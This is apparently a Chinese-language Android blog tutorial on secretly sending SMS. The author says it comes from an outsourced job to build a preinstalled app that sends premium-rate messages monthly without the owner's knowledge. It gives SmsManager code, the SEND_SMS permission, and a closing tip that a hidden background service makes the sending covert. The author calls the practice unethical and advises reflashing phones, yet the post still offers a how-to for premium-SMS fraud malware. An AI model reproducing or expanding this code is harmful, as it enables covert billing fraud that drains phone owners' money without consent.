我们学过一种发送手机短信的方法,就是通过intent跳转到系统自带的短信发送界面,接着让用户点send
今天的话我们学习一种偷偷发短信的功能,因为最近接受了一个外包任务,就是开发一个app然后预装在手机中,
每个月定时发送付费短信,显然这是很缺德的事情,但是....这里的话给大家一个建议就是买回来的手机最好先刷下机,
把一些内置的应用删掉,发付费短信只是一种,有些还是偷偷滴使用你的流量
其实只是manager类:
废话不多说,直接上代码:
- package com.example.toutou;
- import android.app.Activity;
- import android.os.Bundle;
- import android.telephony.SmsManager;
- import android.view.View;
- import android.view.View.OnClickListener;
- import android.widget.Button;
- public class MainActivity extends Activity {
- private Button send;
- /** Called when the activity is first created. */
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- send = (Button) findViewById(R.id.button1);
- send.setOnClickListener(new OnClickListener() {
- @Override
- public void onClick(View v) {
- // 发给号码为5554的模拟器,短信内容是"付费短信"
- SmsManager.getDefault().sendTextMessage("5554",
- null, "付费短信", null, null);
- }
- });
- }
- }
最后加入一个权限:
<uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
这里的话是为了演示方便才使用按钮,真正偷偷发短信只需要弄一个自定义service即可